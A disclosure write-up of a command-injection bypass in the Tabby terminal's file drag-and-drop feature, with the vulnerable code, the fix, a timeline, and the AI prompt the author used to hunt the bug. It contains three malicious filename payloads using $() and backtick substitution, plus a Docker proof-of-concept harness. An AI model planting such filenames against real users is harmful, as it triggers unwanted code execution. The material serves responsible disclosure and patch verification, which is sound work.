# Drag-and-Drop Path Injection Still Allows RCE via Shell Command Substitution

## I. Introduction

Tabby is an open-source, highly configurable terminal emulator for Windows, macOS, and Linux. It supports local shells, SSH connections, WSL, serial ports, and telnet all from a single modern interface built on Electron. Users can manage profiles, themes, plugins, and multiple concurrent sessions through a polished UI, making it a popular choice among developers and sysadmins for day-to-day system work.

![](https://cdn.hashnode.com/uploads/covers/65102b1d5866800ea27ebefa/b9ee2f17-e797-4405-99f9-bbd990d09e25.png align="center")

With Tabby, users can drag files directly from their file manager onto an open terminal tab, and Tabby will automatically insert the file's full path into the active shell a small but genuinely useful quality-of-life feature.

**Vulnerable Version:** [Tabby v1.0.233](https://github.com/Eugeny/tabby/releases/tag/v1.0.233)  
**Advisory:** [https://github.com/Eugeny/tabby/security/advisories/GHSA-mq9v-2pgm-fxgh](https://github.com/Eugeny/tabby/security/advisories/GHSA-mq9v-2pgm-fxgh)

**CVE:** CVE-2026-46709

* * *

## II. Target Selection

Reading a few basic pieces of information, it seemed like a very promising target. It is an Electron-based terminal emulator by design it writes user-controlled input directly into live shell sessions. There was also a recent prior advisory (GHSA-m937-jm93-pfp6, May 7 2026) for a similar class of bug in the same drag-and-drop feature. That told me two things: the area had been looked at recently, and the patch may not have been thorough. Incomplete remediations in a narrow, well-understood attack surface are one of the most reliable sources of bypasses.

* * *

## III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:

*   Claude CLI
    
*   Model: Claude Sonnet 4.6
    

My starting point was the patch for GHSA-m937-jm93-pfp6. Reading it, I could see it only stripped C0 control characters (`\x00`–`\x1F`, `\x7F`) to prevent newline-based auto-execution. It said nothing about shell metacharacters. My hypothesis was that `$()` command substitution and backtick expansion both of which POSIX shells evaluate inside double-quoted strings were completely untouched.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and the prior advisory):

```plaintext
You are a senior offensive security researcher specialized in Electron applications,Node.js, shell injection, and terminal emulator security.

Your task is to audit the Tabby codebase 

IMPORTANT:
- POSIX shells expand $(...) and backticks inside double-quoted strings.
- Double-quoting a path does NOT neutralise command substitution.
- PowerShell also expands $(...) inside double-quoted strings.
- Think like a bug bounty hunter building a working PoC for a patch bypass.

Your workflow:

1. Locate the path-drop handler
   - tabby-electron/src/pathDrop.ts
   - injectPath() function
   - Any code that takes a file path from webUtils.getPathForFile() and calls sendInput()

2. Trace exactly what sanitization is applied to the path before it reaches the shell:
   - What characters are removed?
   - Is the path wrapped in single quotes or double quotes?
   - Are $ ` " \ escaped before injection?
   - Is bracketed-paste mode used?

3. Identify dangerous patterns:
   - Paths double-quoted without escaping $ or `
   - No escaping of shell metacharacters
   - Raw bytes written into PTY input with no further filtering

4. For every candidate:
   - Show the exact vulnerable lines
   - Explain why the existing sanitization is insufficient
   - Provide malicious filename payloads
   - Confirm which shells are affected (bash, zsh, sh, fish, dash, PowerShell)
   - Explain how a malicious file reaches the victim (Content-Disposition, archive extraction, USB, SMB)

5. Build a practical PoC:
   - Construct filenames that cause command execution on drag + Enter
   - Cover: no space ($() substitution), with space ($() inside double quotes), backtick
   - Write a self-contained Docker reproduction that transcribes injectPath() and tests each case
   - Describe the end-to-end attack scenario on a real Tabby install

6. Be skeptical:
   - Check whether any sanitization layer exists below sendInput()
   - Verify whether bracketed-paste mode is in use for dropped paths
   - Confirm the fix from e70fafdf does not remove any part of the payload

Output format:

## Candidate N
- Vulnerability type
- Affected file and function
- Vulnerable code snippet
- Why sanitization fails
- Payload (malicious filename)
- Expected shell behavior
- Affected shells and session types
- Impact
- Confidence level
```

The AI confirmed the bypass immediately and identified the exact vulnerable function. Here is the vulnerable code in `tabby-electron/src/pathDrop.ts` at HEAD `7e94e67`:

```typescript
// tabby-electron/src/pathDrop.ts:22-29
private injectPath (terminal: BaseTerminalTabComponent<any>, path: string) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')   // only fix from GHSA-m937-jm93-pfp6
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    terminal.sendInput(path + ' ')
}
```

The function strips control characters, then wraps the path in double quotes if it contains a space, then writes the result verbatim into the PTY. It does not escape `$`, `` ` ``, or `"`. Per POSIX.1-2017 §2.6.3, `$(...)` and backtick substitutions are expanded by the shell inside double-quoted strings the double-quoting actually makes the space-containing case *worse*, because it guarantees the payload is evaluated as part of a single shell token.

I continued to use AI to verify the behavior and build the final PoC payloads:

**Payload 1 - No space,** `$()` **substitution:**

```plaintext
/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf
```

**Payload 2 - With space,** `$()` **inside double quotes:**

```plaintext
/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg
```

**Payload 3 - Backtick substitution:**

```plaintext
/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md
```

A self-contained Docker reproduction was built that transcribes `injectPath()` byte-for-byte and runs each output through a real `bash`:

`injectPath.js`:

```javascript
function injectPath(path) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    return path + ' '
}
process.stdout.write(injectPath(process.argv[2]))
```

`run-poc.sh`:

```bash
#!/usr/bin/env bash
set -u
OUT=/tmp/tabby_drop_rce_log
rm -f "$OUT"

run_case() {
    local label="$1" raw="$2"
    local injected; injected=$(node /poc/injectPath.js "$raw")
    echo "===== $label ====="
    echo "  Raw filename : $raw"
    echo "  Tabby sends  : ${injected}"
    bash -c "cat ${injected}" >/dev/null 2>&1 || true
    if [[ -s "$OUT" ]]; then
        echo "  RESULT       : RCE confirmed:"
        sed 's/^/                 /' "$OUT"; rm -f "$OUT"
    else
        echo "  RESULT       : (no side effect)"
    fi
    echo
}

F1='/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf'
F2='/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg'
F3='/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md'

run_case "1) no space, \$() substitution"           "$F1"
run_case "2) with space, \$() inside double quotes" "$F2"
run_case "3) backtick substitution"                 "$F3"
```

Build and run:

```bash
$ docker build -t tabby-pathdrop-poc .
$ docker run --rm tabby-pathdrop-poc
```

![](https://cdn.hashnode.com/uploads/covers/65102b1d5866800ea27ebefa/7a2fdc1b-4496-49c8-aa9f-2046eb135a00.png align="center")

The marker file `/tmp/tabby_drop_rce_log` was populated in all three cases `id` executed by the shell. None of the three filenames contain control characters, so the `e70fafdf` patch has nothing to remove and provides zero protection.

The fix in **v1.0.234** switches to single-quote wrapping with proper embedded-quote escaping:

```typescript
path = "'" + path.replace(/'/g, `'\\''`) + "'"
```

I submitted the bug shortly afterwards; the Tabby maintainers confirmed the issue and issued a hotfix.

* * *

## IV. Timeline

*   **May 7 2026:** GHSA-m937-jm93-pfp6 patched control characters stripped in commit `e70fafdf`, advisory published
    
*   **~May 2026:** Bypass discovered `$()` and backtick substitution unaddressed by prior fix
    
*   **~May 2026:** GHSA-mq9v-2pgm-fxgh submitted to Tabby maintainers
    
*   **~May 2026:** Tabby team verified and opened the security advisory
    
*   **v1.0.234:** Hotfix released single-quote wrapping applied, shell metacharacters neutralised
